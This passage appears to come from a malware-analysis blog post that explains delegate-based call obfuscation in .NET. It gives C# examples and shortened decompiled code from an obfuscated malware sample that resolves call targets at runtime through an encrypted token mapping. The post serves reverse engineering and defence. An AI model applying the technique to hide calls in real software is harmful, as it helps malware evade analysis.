&lt;h2 id=&quot;technique-delegates--proxies&quot;&gt;Technique: Delegates / Proxies&lt;/h2&gt;

&lt;p&gt;Using delegates is a very popular technique to obfuscate method calls that are being made.
The way this works is to wrap the call into an object (the delegate) and invoking the delegate instead of the original method.
The severity of this obfuscation can range from ‘annoying’, where you can see what’s being called by just checking where the object is constructed, to ‘impossible by hand’, where it’s not possible to discern the call target without tooling support.&lt;/p&gt;

&lt;p&gt;A simplistic example might look like this:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;delegate&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ObfuscatedDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CallMe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;CallMe was called!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ObfuscatedDelegate&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obfuscatedCall&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ObfuscatedDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CallMe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;obfuscatedCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The construction of the delegate object doesn’t necessarily need to happen directly before the call; it could also be initialized as a static variable, for example, and then be used whenever &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CallMe&lt;/code&gt; should be called.
You can see how this adds an indirection, because you need to look elsewhere for what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obfuscatedCall()&lt;/code&gt; actually means.
For a single method it’s manageable, but often enough, &lt;strong&gt;all&lt;/strong&gt; calls in the assembly will get this treatment.&lt;/p&gt;

&lt;p&gt;In the following we have a more complicated example, where each call target gets its own separate class:&lt;/p&gt;
&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sealed&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MulticastDelegate&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;A_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;A_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;A_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IntPtr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RateIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TypeHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CountIssuer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the accompanying call:&lt;/p&gt;
&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CountIssuer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see the method is supposed to take an object and returns a boolean, but we can’t see what function is actually called.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteWorker&lt;/code&gt; takes the original call arguments plus an instance of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SepcificationValue&lt;/code&gt; class, which is taken from the static &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CountIssuer&lt;/code&gt; field, and then calls the delegate.
However, the field does not have an apparent value assigned to it.
We can see that the static constructor is doing &lt;em&gt;something&lt;/em&gt;, and quite conspicuously, it passes a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TypeHandle&lt;/code&gt; parameter, which is an indication that reflection is used to dynamically manipulate the class at runtime.
It stands to reason that this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt; call is responsible for assigning a value to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CountIssuer&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;RateIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RuntimeTypeHandle&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typeFromHandle&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetTypeFromHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_InterpreterModel&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;lock&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_SpecificationModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;Dictionary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapping&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Dictionary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;BinaryReader&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;BinaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetManifestResourceStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Value.Expression&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Position&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ReadBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// &amp;lt;snip&amp;gt;, decrypt array and fill mapping&lt;/span&gt;

      &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_InterpreterModel&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;FieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typeFromHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetFields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Static&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NonPublic&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetField&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;FieldInfo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;metadataToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MetadataToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_InterpreterModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;metadataToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isVirtualCall&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x40000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x3fffffff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;MethodInfo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methodInfo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MethodInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ResolveMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typeFromHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetGenericArguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;methodInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsStatic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Delegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CreateDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FieldType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methodInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// &amp;lt;snip&amp;gt;, dynimcally generate code for calling non-static method&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code above has been shortened and prettied up to only contain the most important pieces.
Breaking it down, it performs the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It checks if the token mapping has already been loaded. If not:
    &lt;ol&gt;
      &lt;li&gt;An assembly resource is looked up and loaded into a byte array.&lt;/li&gt;
      &lt;li&gt;The byte array is decrypted with a custom algorithm.&lt;/li&gt;
      &lt;li&gt;Pairs of 32-bit integers are read from the byte array and inserted into a dictionary.&lt;/li&gt;
      &lt;li&gt;This dictionary will be the token mapping in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;m_InterpreterModel&lt;/code&gt;.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;All static fields in the type of interest (our delegate class) are looked up. In the previous example, this is essentially just the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CountIssuer&lt;/code&gt; field.&lt;/li&gt;
  &lt;li&gt;For each such field, its metadata token is used as an index into the token mapping dictionary to obtain a new token.&lt;/li&gt;
  &lt;li&gt;The new token is resolved into a method, which in turn is used to create a delegate object.&lt;/li&gt;
  &lt;li&gt;The delegate is assigned to the static field, solving the mystery of where its value comes from.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, to sum it up, we get a mapping &lt;em&gt;from&lt;/em&gt; static field tokens in the delegate types &lt;em&gt;to&lt;/em&gt; the actual call target.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;b&gt;&amp;gt;&amp;gt; Short primer on .NET metadata tokens&lt;/b&gt;&lt;/p&gt;

  &lt;p&gt;Internally, types, methods, fields, and so on are not referenced by their name.
Rather, .NET uses so-called metadata tokens, which are 32-bit integers that uniquely identify an entity in the current assembly.
The integers consist of a metadata table index (upper 8 bits) and row index into the respective table (lower 24 bits, also called &lt;i&gt;RID&lt;/i&gt;).&lt;/p&gt;

  &lt;p&gt;dnSpy shows the tokens as comments by default, and it also shows the decimal representation of the RID (0x927 equals 2343):&lt;/p&gt;
  &lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Token: 0x04000927 RID: 2343&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CountIssuer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;

  &lt;p&gt;The table indexes are defined in the ECMA-335 spec - some important ones are:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;02: TypeDef&lt;/li&gt;
    &lt;li&gt;04: Field&lt;/li&gt;
    &lt;li&gt;06: Method&lt;/li&gt;
    &lt;li&gt;0A: MemberRef (fields/methods located in other assemblies)&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;Table contents can be viewed directly in dnSpy by expanding the &lt;em&gt;Tables Stream&lt;/em&gt; under &lt;em&gt;PE&lt;/em&gt; -&amp;gt; &lt;em&gt;Storage Stream #n&lt;/em&gt; in the Assembly Explorer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Some examples from our obfuscated assembly:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;04000479 -&amp;gt; 0A0001D3 System.Void System.Environment::Exit(System.Int32)
0400047A -&amp;gt; 060009EC System.Void ProtoBuf.Listeners.MessageModelListener::EnableDatabase()
0400047B -&amp;gt; 060009F2 System.Void Dbpkc.Maps.RoleAuthenticationMapping::kLjw4iIsCLsZtxc4lksN0j()
0400047C -&amp;gt; 0A0001D4 System.Void System.Threading.Timer::Dispose()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As can be seen, the targets can be either references to the class library (0A) or references to methods in the malware (06).&lt;/p&gt;

